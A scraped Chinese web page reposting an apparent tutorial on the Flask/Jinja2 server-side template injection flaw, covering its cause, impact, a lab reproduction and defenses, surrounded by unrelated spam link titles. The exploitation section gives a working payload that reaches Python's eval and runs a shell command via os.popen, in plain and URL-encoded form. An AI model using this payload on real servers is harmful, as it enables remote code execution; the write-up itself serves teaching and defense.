当前位置: 首页 > news >正文

房产网站建设方案论文网站开发后台框架

房产网站建设方案论文,网站开发后台框架,只能在线观看的电影网站咋么做,网站后台没有编辑器文章目录 Flask (Jinja2) 服务端模板注入漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞危害1.4 漏洞复现1.4.1 漏洞利用 1.5 漏洞防御 Flask (Jinja2) 服务端模板注入漏洞 1.1 漏洞描述 说明内容漏洞编号漏洞名称Flask (Jinja2) 服务端模板注入漏洞漏洞评级高危影响版本使用Flask框架… 文章目录 Flask (Jinja2) 服务端模板注入漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞危害1.4 漏洞复现1.4.1 漏洞利用 1.5 漏洞防御 Flask (Jinja2) 服务端模板注入漏洞 1.1 漏洞描述 说明内容漏洞编号漏洞名称Flask (Jinja2) 服务端模板注入漏洞漏洞评级高危影响版本使用Flask框架开发并且使用Jinja2模板引擎最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。漏洞描述Flask 是一个流行的 Python Web 框架而 Jinja2 是其默认的模板引擎。服务端模板注入漏洞发生在应用程序使用模板引擎渲染用户提供的数据时未能正确过滤或转义用户输入导致攻击者可以注入自己的模板代码从而执行恶意操作。修复方案打补丁上设备升级组件 1.2 漏洞原理 在模板引擎中开发者可以使用特定的语法将数据与模板结合生成最终的输出。然而如果在这个过程中直接使用用户提供的数据而没有进行适当的过滤或转义攻击者就可以注入恶意模板代码。 攻击者可以构造恶意的输入在用户输入中包含模板标记如 {{}}以控制模板引擎的行为。模板引擎会将用户提供的数据作为代码来执行导致恶意代码执行在服务端上下文中。 1.3 漏洞危害 服务端模板注入漏洞可能导致以下危害 执行任意服务器端代码攻击者可以在服务器上执行任意的代码包括读写敏感文件、访问数据库、远程命令执行等操作。盗取敏感信息攻击者可以通过读取服务器端数据包括数据库中存储的敏感信息如用户凭据、个人信息等。服务器端拒绝服务DoS攻击者可以构造恶意输入导致服务器资源耗尽或崩溃从而使服务不可用。 1.4 漏洞复现 环境启动 访问http://your-ip/?name{{233*233}}得到54289说明SSTI漏洞存在。 1.4.1 漏洞利用 获取eval函数并执行任意python代码的POC {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ catch_warnings %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ {}.__class__ %}{% if eval in b.keys() %}{undefined{ b[eval](__import__(os).popen(id).read()) }}{% endif %}{% endif %}{% endfor %} {% endif %} {% endfor %}放在url中需要编码编码后的结果 {%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}然后我们执行发现命令执行成功。 1.5 漏洞防御 漏洞防御 以下是一些防御措施来预防 FlaskJinja2服务端模板注入漏洞 输入验证与过滤应该对用户提供的输入进行验证并确保它符合预期的格式和类型。同时在将用户输入传递给模板引擎之前必须进行适当的过滤和转义处理。不信任用户输入永远不要相信用户提供的输入数据即使是在内部使用也要进行验证和转义处理。使用安全的模板引擎配置使用模板引擎时应该仔细配置其安全选项以限制模板中可执行的操作和访问的对象。最小权限原则为应用程序和服务器分配最低权限以降低攻击者成功利用漏洞的可能性。定期更新框架和库及时更新 Flask 和 Jinja2 等相关库以获取最新的安全修复和补丁。
http://www.pierceye.com/news/89051/

相关文章:

  • 12380网站的建设情况网站建设方案产业
  • 做网站sqlserver排序郑州制作微信小程序
  • 网站开发的相关技术安徽网站优化公司价格
  • 杭州市城乡规划局建设局官方网站建设网站免费模板
  • 甘肃省住房与建设厅网站首页公司广告推广方案
  • 网站信息登记表扫描件wordpress 添加商品
  • 何为门户网站沪上家居装修官网
  • 全屏 网站 代码沈阳seo优化排名公司
  • 橙色系网站js特效演示网站
  • 建材公司网站建设方案网站建设材料汇报
  • 淘宝客网站开发上架WordPress获取文章封页
  • 网站中的滑动栏怎么做的如何提高百度权重
  • 浙江省建设职业注册中心网站wordpress 短代码 插件
  • 不同的网站 做301什么是速成网站
  • 聊城做网站做的不错的网络公司深圳网络营销推广中心
  • 找网站公司制作网站烟台企业展厅设计公司
  • 商城网站设计企业群晖 wordpress 配置
  • 网站用亚马逊做标题会侵权吗蒙牛企业网站建设(分析)与推广
  • 百度网站联系方式二级域名网站
  • 赣州住房和建设局网站怎么查域名注册商
  • 匈牙利网站后缀上海网站开发公司外包
  • 培训学校怎么招生北京seo排名优化网站
  • 有哪些好用的设计网站有哪些内容桂林市区旅游攻略必去景点
  • 网站建设综合实训案例做网站预付款 怎么做账
  • wordpress主题 演员广州seo软件
  • 东莞手机网站wordpress弹窗预览
  • iis一个文件夹配置多个网站网络管理服务器
  • 网站建设咨询加工商贸有限公司英文
  • 厦门网站建设及维护微信公众号怎么创建账号
  • 网站建设视频教程php曲沃网站建设